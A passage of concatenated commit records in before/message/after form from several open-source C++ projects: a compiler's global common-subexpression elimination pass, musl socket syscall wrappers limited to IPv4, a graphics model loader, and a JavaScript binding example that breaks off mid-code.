bool global_cs = true;\n\n                do {\n                    --it;\n\n                    if(mtac::erase_result(it->op) || it->op == mtac::Operator::DOT_ASSIGN || it->op == mtac::Operator::DOT_FASSIGN || it->op == mtac::Operator::DOT_PASSIGN){\n                        if(mtac::is_killing(*it, exp)){\n                            global_cs = false;\n                            break;\n                        }\n                    }\n                } while(it != i->begin());\n\n                if(!global_cs){\n                    continue;\n                }\n\n                auto tj = function.context->new_temporary(exp.type);\n                mtac::Operator op = mtac::assign_op(exp.op);\n\n                quadruple.op = op;\n                quadruple.arg1 = tj;\n                quadruple.arg2.reset();\n\n                for(auto& P : i->predecessors){\n                    if(P != i){\n                        search_path(exp, tj, op, P);\n                    }\n                }\n            }\n        }\n    }\n\n\n\n    \/\/TODO Avoid doing that first, but integrate it the process\n    \n    \/*for(auto& block : function){\n        auto& in = global_results->IN[block];\n        \n        for(auto& statement : block){\n            transfer(block, statement, in);\n            global_results->IN_S[statement.uid()] = in;\n        }\n    }\n\n    for(auto& block : function){\n        auto qit = block->statements.begin();\n        auto qend = block->statements.end();\n\n        while(qit != qend){\n            bool local = false;\n\n            auto& quadruple = *qit;\n            auto& results = global_results->IN_S[quadruple.uid()];\n\n            if(results.top()){\n                ++qit;\n                continue;\n            }\n\n            if(optimized.find(quadruple.uid()) == optimized.end()){\n                if(mtac::is_expression(quadruple.op)){\n                    for(auto& expression : results.values()){\n                        auto& source_statement = function.find(expression.expression);\n                        auto result = source_statement.result;\n                        auto quid = quadruple.uid();\n\n                        if(::are_equivalent(source_statement, quadruple)){\n                            mtac::Operator assign_op;\n                            if((quadruple.op >= mtac::Operator::ADD && quadruple.op <= mtac::Operator::MOD) || quadruple.op == mtac::Operator::DOT){\n                                assign_op = mtac::Operator::ASSIGN;\n                            } else {\n                                assign_op = mtac::Operator::FASSIGN;\n                            } \n\n                            std::shared_ptr<Variable> new_result = result;\n\n                            if(optimized.find(source_statement.uid()) == optimized.end()){\n                                function.context->global()->stats().inc_counter(\"common_subexpr_eliminated\");\n\n                                std::shared_ptr<Variable> temp;\n                                temp = expression.source->context->new_temporary(result->type());\n\n                                new_result = temp;\n\n                                auto it = expression.source->statements.begin();\n                                auto end = expression.source->statements.end();\n\n                                source_statement.result = temp;\n\n                                optimized.insert(source_statement.uid());\n\n                                while(it != end){\n                                    auto& target = *it;\n                                    if(target == source_statement){\n                                        ++it;\n                                        expression.source->statements.insert(it, mtac::Quadruple(result, temp, assign_op));\n\n                                        break;\n                                    }\n\n                                    ++it;\n                                }\n                            }\n\n                            if(optimized.find(quid) == optimized.end()){\n                                function.context->global()->stats().inc_counter(\"common_subexpr_eliminated\");\n\n                                auto& quadruple = function.find(quid);\n\n                                eddic_assert(new_result, \"Should have been filled\");\n\n                                quadruple.op = assign_op;\n                                quadruple.arg1 = new_result;\n                                quadruple.arg2.reset();\n\n                                optimized.insert(quid);\n\n                                local = true;\n                                changes = true;\n\n                                break;\n                            }\n                        }\n                    }\n                }\n            }\n\n            if(local){\n                qit = block->statements.begin();\n                qend = block->statements.end();\n            } else {\n                ++qit;\n            }\n        }\n    }*\/\n\n    return changes;\n}\n\nbool mtac::operator==(const mtac::Domain<Expressions>& lhs, const mtac::Domain<Expressions>& rhs){\n    if(lhs.top() || rhs.top()){\n        return lhs.top() == rhs.top();\n    }\n\n    auto& lhs_values = lhs.values();\n    auto& rhs_values = rhs.values();\n\n    if(lhs_values.size() != rhs_values.size()){\n        return false;\n    }\n\n    for(auto& lhs_expression : lhs_values){\n        if(rhs_values.find(lhs_expression) == rhs_values.end()){\n            return false;\n        }\n    }\n\n    return true;\n}\n\nbool mtac::operator!=(const mtac::Domain<Expressions>& lhs, const mtac::Domain<Expressions>& rhs){\n    return !(lhs == rhs);\n}\n<commit_msg>Make sure to avoid loops<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011-2013.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <algorithm>\n\n#include \"assert.hpp\"\n#include \"Variable.hpp\"\n#include \"FunctionContext.hpp\"\n#include \"Type.hpp\"\n#include \"iterators.hpp\"\n#include \"GlobalContext.hpp\"\n\n#include \"mtac\/global_cse.hpp\"\n#include \"mtac\/Utils.hpp\"\n#include \"mtac\/Quadruple.hpp\"\n\nusing namespace eddic;\n\ntypedef mtac::global_cse::ProblemDomain ProblemDomain;\n\nvoid mtac::global_cse::meet(ProblemDomain& in, const ProblemDomain& out){\n    eddic_assert(!in.top() || !out.top(), \"At least one lattice should not be a top element\");\n\n    if(in.top()){\n        in = out;\n    } else if(out.top()){\n        \/\/in does not change\n    } else {\n        auto& first = in.values();\n        auto& second = out.values();\n        \n        std::set<expression> intersection;\n\n        std::set_intersection(first.begin(), first.end(), second.begin(), second.end(), std::inserter(intersection, intersection.begin()));\n\n        in.values() = std::move(intersection);\n    }\n}\n\nProblemDomain mtac::global_cse::Boundary(mtac::Function&){\n    return ProblemDomain(ProblemDomain::Values());\n}\n\nProblemDomain mtac::global_cse::Init(mtac::Function& function){\n    if(init){\n        ProblemDomain result(*init);\n        return result;\n    }\n    \n    this->function = &function;\n        \n    pointer_escaped = mtac::escape_analysis(function);\n\n    typename ProblemDomain::Values values;\n    \n    \/\/Compute Eval(i)\n\n    for(auto& block : function){\n        for(auto& q : block->statements){\n            if(mtac::is_expression(q.op) && mtac::is_valid(q, pointer_escaped) && mtac::is_interesting(q)){\n                Eval[block].insert({0, *q.arg1, *q.arg2, q.op, nullptr, q.result->type()});\n            }\n\n            mtac::kill_expressions(q, Eval[block]);\n        }\n    }\n\n    \/\/Compute Kill(i)\n    \n    for(auto& block : function){\n        for(auto& q : block->statements){\n            auto op = q.op;\n            if(mtac::erase_result(op) || op == mtac::Operator::DOT_ASSIGN || op == mtac::Operator::DOT_FASSIGN || op == mtac::Operator::DOT_PASSIGN){\n                for(auto& b : function){\n                    if(b != block){\n                        for(auto& expression : Eval[b]){\n                            if(mtac::is_killing(q, expression)){\n                                Kill[block].insert(expression);\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    Expressions expressions;\n\n    \/\/Compute Uexp\n\n    for(auto& block : function){\n        for(auto& expression : Eval[block]){\n            expressions.insert(expression);\n        }\n    }\n\n    init = expressions;\n    \n    ProblemDomain result(expressions);\n    return result;\n}\n\nvoid mtac::global_cse::transfer(mtac::basic_block_p basic_block, ProblemDomain& out){\n    auto& out_values = out.values();\n    auto it = out_values.begin();\n\n    \/\/Compute AEin - Kill(i)\n\n    while(it != out_values.end()){\n        if(Kill[basic_block].find(*it) != Kill[basic_block].end()){\n            it = out_values.erase(it);\n            continue;\n        }\n\n        ++it;\n    }\n\n    \/\/Compute Eval(i) U (AEin - Kill(i))\n\n    for(auto& expression : Eval[basic_block]){\n        out_values.insert(expression);\n    }\n}\n\nnamespace {\n\nvoid search_path(const mtac::expression& exp, std::shared_ptr<Variable>& tj, mtac::Operator op, mtac::basic_block_p& block, std::unordered_set<mtac::basic_block_p>& visited){\n    if(visited.find(block) != visited.end()){\n        return;\n    }\n\n    visited.insert(block);\n    \n    auto it = block->end();\n    auto end = block->begin();\n\n    do {\n        --it;\n\n        auto& quadruple = *it;    \n        if(mtac::are_equivalent(quadruple, exp)){\n            quadruple.op = op;\n            quadruple.arg1 = tj;\n            quadruple.arg2.reset();\n\n            block->statements.insert(it, mtac::Quadruple(tj, exp.arg1, exp.op, exp.arg2));\n\n            return;\n        }\n    } while(it != end);\n\n    eddic_assert(!block->predecessors.empty(), \"There must be an equivalent expression on each backward path\");\n\n    for(auto& P : block->predecessors){\n        search_path(exp, tj, op, P, visited);\n    }\n}\n\n} \/\/end of anonymous namespace\n\nbool mtac::global_cse::optimize(mtac::Function& function, std::shared_ptr<mtac::DataFlowResults<ProblemDomain>> global_results){\n    bool changes = false;\n\n    for(auto& i : function){\n        if(global_results->IN[i].top()){\n            continue;\n        }\n\n        auto& AEin = global_results->IN[i].values();\n\n        for(auto& exp : Eval[i]){\n            if(AEin.find(exp) != AEin.end()){\n                function.context->global()->stats().inc_counter(\"common_subexpr_eliminated\");\n\n                auto it = i->begin();\n\n                while(!mtac::are_equivalent(*it, exp)){\n                    ++it;\n                }\n\n                auto& quadruple = *it;\n\n                bool global_cs = true;\n\n                do {\n                    --it;\n\n                    if(mtac::erase_result(it->op) || it->op == mtac::Operator::DOT_ASSIGN || it->op == mtac::Operator::DOT_FASSIGN || it->op == mtac::Operator::DOT_PASSIGN){\n                        if(mtac::is_killing(*it, exp)){\n                            global_cs = false;\n                            break;\n                        }\n                    }\n                } while(it != i->begin());\n\n                if(!global_cs){\n                    continue;\n                }\n\n                auto tj = function.context->new_temporary(exp.type);\n                mtac::Operator op = mtac::assign_op(exp.op);\n\n                quadruple.op = op;\n                quadruple.arg1 = tj;\n                quadruple.arg2.reset();\n\n                std::unordered_set<mtac::basic_block_p> visited;\n                visited.insert(i);\n\n                for(auto& P : i->predecessors){\n                    search_path(exp, tj, op, P, visited);\n                }\n            }\n        }\n    }\n\n\n\n    \/\/TODO Avoid doing that first, but integrate it the process\n    \n    \/*for(auto& block : function){\n        auto& in = global_results->IN[block];\n        \n        for(auto& statement : block){\n            transfer(block, statement, in);\n            global_results->IN_S[statement.uid()] = in;\n        }\n    }\n\n    for(auto& block : function){\n        auto qit = block->statements.begin();\n        auto qend = block->statements.end();\n\n        while(qit != qend){\n            bool local = false;\n\n            auto& quadruple = *qit;\n            auto& results = global_results->IN_S[quadruple.uid()];\n\n            if(results.top()){\n                ++qit;\n                continue;\n            }\n\n            if(optimized.find(quadruple.uid()) == optimized.end()){\n                if(mtac::is_expression(quadruple.op)){\n                    for(auto& expression : results.values()){\n                        auto& source_statement = function.find(expression.expression);\n                        auto result = source_statement.result;\n                        auto quid = quadruple.uid();\n\n                        if(::are_equivalent(source_statement, quadruple)){\n                            mtac::Operator assign_op;\n                            if((quadruple.op >= mtac::Operator::ADD && quadruple.op <= mtac::Operator::MOD) || quadruple.op == mtac::Operator::DOT){\n                                assign_op = mtac::Operator::ASSIGN;\n                            } else {\n                                assign_op = mtac::Operator::FASSIGN;\n                            } \n\n                            std::shared_ptr<Variable> new_result = result;\n\n                            if(optimized.find(source_statement.uid()) == optimized.end()){\n                                function.context->global()->stats().inc_counter(\"common_subexpr_eliminated\");\n\n                                std::shared_ptr<Variable> temp;\n                                temp = expression.source->context->new_temporary(result->type());\n\n                                new_result = temp;\n\n                                auto it = expression.source->statements.begin();\n                                auto end = expression.source->statements.end();\n\n                                source_statement.result = temp;\n\n                                optimized.insert(source_statement.uid());\n\n                                while(it != end){\n                                    auto& target = *it;\n                                    if(target == source_statement){\n                                        ++it;\n                                        expression.source->statements.insert(it, mtac::Quadruple(result, temp, assign_op));\n\n                                        break;\n                                    }\n\n                                    ++it;\n                                }\n                            }\n\n                            if(optimized.find(quid) == optimized.end()){\n                                function.context->global()->stats().inc_counter(\"common_subexpr_eliminated\");\n\n                                auto& quadruple = function.find(quid);\n\n                                eddic_assert(new_result, \"Should have been filled\");\n\n                                quadruple.op = assign_op;\n                                quadruple.arg1 = new_result;\n                                quadruple.arg2.reset();\n\n                                optimized.insert(quid);\n\n                                local = true;\n                                changes = true;\n\n                                break;\n                            }\n                        }\n                    }\n                }\n            }\n\n            if(local){\n                qit = block->statements.begin();\n                qend = block->statements.end();\n            } else {\n                ++qit;\n            }\n        }\n    }*\/\n\n    return changes;\n}\n\nbool mtac::operator==(const mtac::Domain<Expressions>& lhs, const mtac::Domain<Expressions>& rhs){\n    if(lhs.top() || rhs.top()){\n        return lhs.top() == rhs.top();\n    }\n\n    auto& lhs_values = lhs.values();\n    auto& rhs_values = rhs.values();\n\n    if(lhs_values.size() != rhs_values.size()){\n        return false;\n    }\n\n    for(auto& lhs_expression : lhs_values){\n        if(rhs_values.find(lhs_expression) == rhs_values.end()){\n            return false;\n        }\n    }\n\n    return true;\n}\n\nbool mtac::operator!=(const mtac::Domain<Expressions>& lhs, const mtac::Domain<Expressions>& rhs){\n    return !(lhs == rhs);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"common.hpp\"\n#include <errno.h>\n#include <sys\/socket.h>\n\n#include <posix\/fd_map.hpp>\n#include <posix\/tcp_fd.hpp>\n#include <posix\/udp_fd.hpp>\n\nstatic long sock_socket(int domain, int type, int protocol)\n{\n  \/\/ disallow strange domains, like ALG\n  if (UNLIKELY(domain < 0 || domain > AF_INET6))\n    return -EAFNOSUPPORT;\n  \/\/ disallow RAW etc\n  if (UNLIKELY(type < 0 || type > SOCK_DGRAM))\n    return -EINVAL;\n  \/\/ we are purposefully ignoring the protocol argument\n  if (UNLIKELY(protocol < 0))\n    return -EPROTONOSUPPORT;\n\n  return [](const int type)->int{\n    switch(type)\n    {\n      case SOCK_STREAM:\n        return FD_map::_open<TCP_FD>().get_id();\n      case SOCK_DGRAM:\n        return FD_map::_open<UDP_FD>().get_id();\n      default:\n        return -EINVAL;\n    }\n  }(type);\n}\n\nstatic long sock_connect(int sockfd, const struct sockaddr *addr,\n                         socklen_t addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->connect(addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic long sock_bind(int sockfd, const struct sockaddr *addr,\n                      socklen_t addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->bind(addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic long sock_sendmsg(int sockfd, const struct msghdr *msg, int flags)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->sendmsg(msg, flags);\n\n  return -EBADF;\n}\n\nstatic ssize_t sock_sendto(int sockfd, const void *buf, size_t len, int flags,\n                           const struct sockaddr *dest_addr, socklen_t addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->sendto(buf, len, flags, dest_addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic ssize_t sock_recvfrom(int sockfd, void *buf, size_t len, int flags,\n                             struct sockaddr *src_addr, socklen_t *addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->recvfrom(buf, len, flags, src_addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic long sock_listen(int sockfd, int backlog)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->listen(backlog);\n\n  return -EBADF;\n}\n\nstatic long sock_accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->accept(addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic long sock_shutdown(int sockfd, int how)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->shutdown(how);\n\n  return -EBADF;\n}\n\nextern \"C\" {\nlong socketcall_socket(int domain, int type, int protocol)\n{\n  return strace(sock_socket, \"socket\", domain, type, protocol);\n}\n\nlong socketcall_connect(int sockfd, const struct sockaddr *addr,\n                        socklen_t addrlen)\n{\n  return strace(sock_connect, \"connect\", sockfd, addr, addrlen);\n}\n\nlong socketcall_bind(int sockfd, const struct sockaddr *addr,\n                     socklen_t addrlen)\n{\n  return strace(sock_bind, \"bind\", sockfd, addr, addrlen);\n}\n\nlong socketcall_sendmsg(int sockfd, const struct msghdr *msg, int flags)\n{\n  return strace(sock_sendmsg, \"sendmsg\", sockfd, msg, flags);\n}\n\nssize_t socketcall_sendto(int sockfd, const void *buf, size_t len, int flags,\n                          const struct sockaddr *dest_addr, socklen_t addrlen)\n{\n  return strace(sock_sendto, \"sendto\", sockfd, buf, len, flags, dest_addr, addrlen);\n}\n\nssize_t socketcall_recvfrom(int sockfd, void *buf, size_t len, int flags,\n                            struct sockaddr *src_addr, socklen_t *addrlen)\n{\n  return strace(sock_recvfrom, \"recvfrom\", sockfd, buf, len, flags, src_addr, addrlen);\n}\n\nlong socketcall_listen(int sockfd, int backlog)\n{\n  return strace(sock_listen, \"listen\", sockfd, backlog);\n}\n\nlong socketcall_accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)\n{\n  return strace(sock_accept, \"accept\", sockfd, addr, addrlen);\n}\n\nlong socketcall_shutdown(int sockfd, int how)\n{\n  return strace(sock_shutdown, \"shutdown\", sockfd, how);\n}\n} \/\/ < extern \"C\"\n<commit_msg>musl: Only support AF_INET (ip4) sockets<commit_after>#include \"common.hpp\"\n#include <errno.h>\n#include <sys\/socket.h>\n\n#include <posix\/fd_map.hpp>\n#include <posix\/tcp_fd.hpp>\n#include <posix\/udp_fd.hpp>\n\nstatic long sock_socket(int domain, int type, int protocol)\n{\n  \/\/ currently only support for AF_INET (IPv4, no local\/unix or IP6)\n  if (UNLIKELY(domain != AF_INET))\n    return -EAFNOSUPPORT;\n  \/\/ disallow RAW etc\n  if (UNLIKELY(type < 0 || type > SOCK_DGRAM))\n    return -EINVAL;\n  \/\/ we are purposefully ignoring the protocol argument\n  if (UNLIKELY(protocol < 0))\n    return -EPROTONOSUPPORT;\n\n  return [](const int type)->int{\n    switch(type)\n    {\n      case SOCK_STREAM:\n        return FD_map::_open<TCP_FD>().get_id();\n      case SOCK_DGRAM:\n        return FD_map::_open<UDP_FD>().get_id();\n      default:\n        return -EINVAL;\n    }\n  }(type);\n}\n\nstatic long sock_connect(int sockfd, const struct sockaddr *addr,\n                         socklen_t addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->connect(addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic long sock_bind(int sockfd, const struct sockaddr *addr,\n                      socklen_t addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->bind(addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic long sock_sendmsg(int sockfd, const struct msghdr *msg, int flags)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->sendmsg(msg, flags);\n\n  return -EBADF;\n}\n\nstatic ssize_t sock_sendto(int sockfd, const void *buf, size_t len, int flags,\n                           const struct sockaddr *dest_addr, socklen_t addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->sendto(buf, len, flags, dest_addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic ssize_t sock_recvfrom(int sockfd, void *buf, size_t len, int flags,\n                             struct sockaddr *src_addr, socklen_t *addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->recvfrom(buf, len, flags, src_addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic long sock_listen(int sockfd, int backlog)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->listen(backlog);\n\n  return -EBADF;\n}\n\nstatic long sock_accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->accept(addr, addrlen);\n\n  return -EBADF;\n}\n\nstatic long sock_shutdown(int sockfd, int how)\n{\n  if(auto* fildes = FD_map::_get(sockfd); fildes)\n    return fildes->shutdown(how);\n\n  return -EBADF;\n}\n\nextern \"C\" {\nlong socketcall_socket(int domain, int type, int protocol)\n{\n  return strace(sock_socket, \"socket\", domain, type, protocol);\n}\n\nlong socketcall_connect(int sockfd, const struct sockaddr *addr,\n                        socklen_t addrlen)\n{\n  return strace(sock_connect, \"connect\", sockfd, addr, addrlen);\n}\n\nlong socketcall_bind(int sockfd, const struct sockaddr *addr,\n                     socklen_t addrlen)\n{\n  return strace(sock_bind, \"bind\", sockfd, addr, addrlen);\n}\n\nlong socketcall_sendmsg(int sockfd, const struct msghdr *msg, int flags)\n{\n  return strace(sock_sendmsg, \"sendmsg\", sockfd, msg, flags);\n}\n\nssize_t socketcall_sendto(int sockfd, const void *buf, size_t len, int flags,\n                          const struct sockaddr *dest_addr, socklen_t addrlen)\n{\n  return strace(sock_sendto, \"sendto\", sockfd, buf, len, flags, dest_addr, addrlen);\n}\n\nssize_t socketcall_recvfrom(int sockfd, void *buf, size_t len, int flags,\n                            struct sockaddr *src_addr, socklen_t *addrlen)\n{\n  return strace(sock_recvfrom, \"recvfrom\", sockfd, buf, len, flags, src_addr, addrlen);\n}\n\nlong socketcall_listen(int sockfd, int backlog)\n{\n  return strace(sock_listen, \"listen\", sockfd, backlog);\n}\n\nlong socketcall_accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)\n{\n  return strace(sock_accept, \"accept\", sockfd, addr, addrlen);\n}\n\nlong socketcall_shutdown(int sockfd, int how)\n{\n  return strace(sock_shutdown, \"shutdown\", sockfd, how);\n}\n} \/\/ < extern \"C\"\n<|endoftext|>"}
{"text":"<commit_before>#include \"hecl\/HMDLMeta.hpp\"\n\n#include \"hecl\/Runtime.hpp\"\n\n#include <athena\/MemoryReader.hpp>\n#include <logvisor\/logvisor.hpp>\n\nnamespace hecl::Runtime {\nstatic logvisor::Module HMDL_Log(\"HMDL\");\n\nHMDLData::HMDLData(boo::IGraphicsDataFactory::Context& ctx, const void* metaData, const void* vbo, const void* ibo) {\n  HMDLMeta meta;\n  {\n    athena::io::MemoryReader r(metaData, HECL_HMDL_META_SZ);\n    meta.read(r);\n  }\n  if (meta.magic != 'TACO')\n    HMDL_Log.report(logvisor::Fatal, fmt(\"invalid HMDL magic\"));\n\n  m_vbo = ctx.newStaticBuffer(boo::BufferUse::Vertex, vbo, meta.vertStride, meta.vertCount);\n  m_ibo = ctx.newStaticBuffer(boo::BufferUse::Index, ibo, 4, meta.indexCount);\n\n  size_t elemCount = 2 + meta.colorCount + meta.uvCount + meta.weightCount;\n  m_vtxFmtData.reset(new boo::VertexElementDescriptor[elemCount]);\n\n  m_vtxFmtData[0].semantic = boo::VertexSemantic::Position3;\n  m_vtxFmtData[1].semantic = boo::VertexSemantic::Normal3;\n  size_t e = 2;\n\n  for (size_t i = 0; i < meta.colorCount; ++i, ++e) {\n    m_vtxFmtData[e].semantic = boo::VertexSemantic::ColorUNorm;\n    m_vtxFmtData[e].semanticIdx = i;\n  }\n\n  for (size_t i = 0; i < meta.uvCount; ++i, ++e) {\n    m_vtxFmtData[e].semantic = boo::VertexSemantic::UV2;\n    m_vtxFmtData[e].semanticIdx = i;\n  }\n\n  for (size_t i = 0; i < meta.weightCount; ++i, ++e) {\n    m_vtxFmtData[e].semantic = boo::VertexSemantic::Weight;\n    m_vtxFmtData[e].semanticIdx = i;\n  }\n\n  m_vtxFmt = boo::VertexFormatInfo(elemCount, m_vtxFmtData.get());\n}\n\n} \/\/ namespace hecl::Runtime\n<commit_msg>HMDL_RT: Make use of std::make_unique<commit_after>#include \"hecl\/HMDLMeta.hpp\"\n\n#include \"hecl\/Runtime.hpp\"\n\n#include <athena\/MemoryReader.hpp>\n#include <logvisor\/logvisor.hpp>\n\nnamespace hecl::Runtime {\nstatic logvisor::Module HMDL_Log(\"HMDL\");\n\nHMDLData::HMDLData(boo::IGraphicsDataFactory::Context& ctx, const void* metaData, const void* vbo, const void* ibo) {\n  HMDLMeta meta;\n  {\n    athena::io::MemoryReader r(metaData, HECL_HMDL_META_SZ);\n    meta.read(r);\n  }\n  if (meta.magic != 'TACO')\n    HMDL_Log.report(logvisor::Fatal, fmt(\"invalid HMDL magic\"));\n\n  m_vbo = ctx.newStaticBuffer(boo::BufferUse::Vertex, vbo, meta.vertStride, meta.vertCount);\n  m_ibo = ctx.newStaticBuffer(boo::BufferUse::Index, ibo, 4, meta.indexCount);\n\n  const size_t elemCount = 2 + meta.colorCount + meta.uvCount + meta.weightCount;\n  m_vtxFmtData = std::make_unique<boo::VertexElementDescriptor[]>(elemCount);\n\n  m_vtxFmtData[0].semantic = boo::VertexSemantic::Position3;\n  m_vtxFmtData[1].semantic = boo::VertexSemantic::Normal3;\n  size_t e = 2;\n\n  for (size_t i = 0; i < meta.colorCount; ++i, ++e) {\n    m_vtxFmtData[e].semantic = boo::VertexSemantic::ColorUNorm;\n    m_vtxFmtData[e].semanticIdx = i;\n  }\n\n  for (size_t i = 0; i < meta.uvCount; ++i, ++e) {\n    m_vtxFmtData[e].semantic = boo::VertexSemantic::UV2;\n    m_vtxFmtData[e].semanticIdx = i;\n  }\n\n  for (size_t i = 0; i < meta.weightCount; ++i, ++e) {\n    m_vtxFmtData[e].semantic = boo::VertexSemantic::Weight;\n    m_vtxFmtData[e].semanticIdx = i;\n  }\n\n  m_vtxFmt = boo::VertexFormatInfo(elemCount, m_vtxFmtData.get());\n}\n\n} \/\/ namespace hecl::Runtime\n<|endoftext|>"}
{"text":"<commit_before>#include <flusspferd.hpp>\n#include <iostream>\n#include <ostream>\n#include <set>\n#include <string>\n\nusing namespace flusspferd::param;\n\n\/\/ Inherit from flusspferd::native_object_base or a class that derives from it.\nclass StringSet : public flusspferd::native_object_base {\npublic:\n    \/\/ StringSet::class_info is used by load_class.\n    struct class_info : flusspferd::class_info {\n        static char const *constructor_name() {\n            return \"StringSet\";\n        }\n\n        static char const *full_name() {\n            return \"StringSet\";\n        }\n\n        \/\/ Function for creating the class prototype.\n        static object create_prototype() {\n            \/\/ Create a prototype object (with default prototype).\n            flusspferd::object proto = flusspferd::create<flusspferd::object>();\n\n            \/\/ Add the methods.\n            flusspferd::create<flusspferd::method>(\n                \"dump\", &StringSet::dump, _container = proto);\n            flusspferd::create<flusspferd::method>(\n                \"add\", &StringSet::add, _container = proto);\n            flusspferd::create<flusspferd::method>(\n                \"delete\", &StringSet::delete_, _container = proto);\n            flusspferd::create<flusspferd::method>(\n                \"toArray\", &StringSet::to_array, _container = proto);\n\n            return proto;\n        }\n    };\n\n    \/\/ The only difference here is that you must initialise\n    \/\/ flusspferd::native_object_base directly.\n    StringSet(flusspferd::object const &self, flusspferd::call_context &x)\n        : flusspferd::native_object_base(self)\n    {\n        std::cout << \"Creating StringSet\" << std::endl;\n\n        for (flusspferd::arguments::iterator it = x.arg.begin();\n                it != x.arg.end();\n                ++it) {\n            data.insert((*it).to_std_string());\n        }\n    }\n\n    ~StringSet() {\n        std::cout << \"Destroying StringSet\" << std::endl;\n    }\n\nprivate:\n    typedef std::set<std::string> container;\n    typedef container::iterator iterator;\n\n    void dump() {\n        std::cout << \"Dumping StringSet: \";\n        for (iterator it = data.begin(); it != data.end(); ++it) {\n            if (it != data.begin())\n                std::cout << ',';\n            std::cout << *it;\n        }\n        std::cout << std::endl;\n    }\n\n    void add(std::string const &x) {\n        data.insert(x);\n    }\n\n    void delete_(std::string const &x) {\n        if (!data.erase(x))\n            throw flusspferd::exception(\"No such element\");\n    }\n\n    flusspferd::array to_array() {\n        flusspferd::root_array result(flusspferd::create<flusspferd::array>());\n\n        for (iterator it = data.begin(); it != data.end(); ++it) {\n            result.push(*it);\n        }\n\n        return result;\n    }\n\nprivate:\n    container data;\n};\n\nvoid print(flusspferd::string const &x) {\n    std::cout << x << std::endl;\n}\n\nint main() {\n    flusspferd::current_context_scope context_scope(\n        flusspferd::context::create());\n\n    flusspferd::create<flusspferd::function>(\"print\", &print, _container = flusspferd::global());\n\n    flusspferd::load_class<StringSet>();\n\n    flusspferd::evaluate(\n        \"var set = new StringSet('b', 'a', 'd');\\n\"\n        \"set.add('c');\\n\"\n        \"set.dump();\\n\"\n        \"set.delete('a'); set.delete('b');\\n\"\n        \"print('As Array: ' +  set.toArray().toSource());\\n\"\n    );\n}\n<commit_msg>help\/examples: make example benefit from create_on<commit_after>#include <flusspferd.hpp>\n#include <iostream>\n#include <ostream>\n#include <set>\n#include <string>\n\nusing namespace flusspferd::param;\n\n\/\/ Inherit from flusspferd::native_object_base or a class that derives from it.\nclass StringSet : public flusspferd::native_object_base {\npublic:\n    \/\/ StringSet::class_info is used by load_class.\n    struct class_info : flusspferd::class_info {\n        static char const *constructor_name() {\n            return \"StringSet\";\n        }\n\n        static char const *full_name() {\n            return \"StringSet\";\n        }\n\n        \/\/ Function for creating the class prototype.\n        static object create_prototype() {\n            \/\/ Create a prototype object (with default prototype).\n            flusspferd::object proto = flusspferd::create<flusspferd::object>();\n\n            \/\/ Add the methods.\n            flusspferd::create_on(proto)\n                .create<flusspferd::method>(\"dump\", &StringSet::dump)\n                .create<flusspferd::method>(\"add\", &StringSet::add)\n                .create<flusspferd::method>(\"delete\", &StringSet::delete_)\n                .create<flusspferd::method>(\"toArray\", &StringSet::to_array);\n\n            return proto;\n        }\n    };\n\n    \/\/ The only difference here is that you must initialise\n    \/\/ flusspferd::native_object_base directly.\n    StringSet(flusspferd::object const &self, flusspferd::call_context &x)\n        : flusspferd::native_object_base(self)\n    {\n        std::cout << \"Creating StringSet\" << std::endl;\n\n        for (flusspferd::arguments::iterator it = x.arg.begin();\n                it != x.arg.end();\n                ++it) {\n            data.insert((*it).to_std_string());\n        }\n    }\n\n    ~StringSet() {\n        std::cout << \"Destroying StringSet\" << std::endl;\n    }\n\nprivate:\n    typedef std::set<std::string> container;\n    typedef container::iterator iterator;\n\n    void dump() {\n        std::cout << \"Dumping StringSet: \";\n        for (iterator it = data.begin(); it != data.end(); ++it) {\n            if (it != data.begin())\n                std::cout << ',';\n            std::cout << *it;\n        }\n        std::cout << std::endl;\n    }\n\n    void add(std::string const &x) {\n        data.insert(x);\n    }\n\n    void delete_(std::string const &x) {\n        if (!data.erase(x))\n            throw flusspferd::exception(\"No such element\");\n    }\n\n    flusspferd::array to_array() {\n        flusspferd::root_array result(flusspferd::create<flusspferd::array>());\n\n        for (iterator it = data.begin(); it != data.end(); ++it) {\n            result.push(*it);\n        }\n\n        return result;\n    }\n\nprivate:\n    container data;\n};\n\nvoid print(flusspferd::string const &x) {\n    std::cout << x << std::endl;\n}\n\nint main() {\n    flusspferd::current_context_scope context_scope(\n        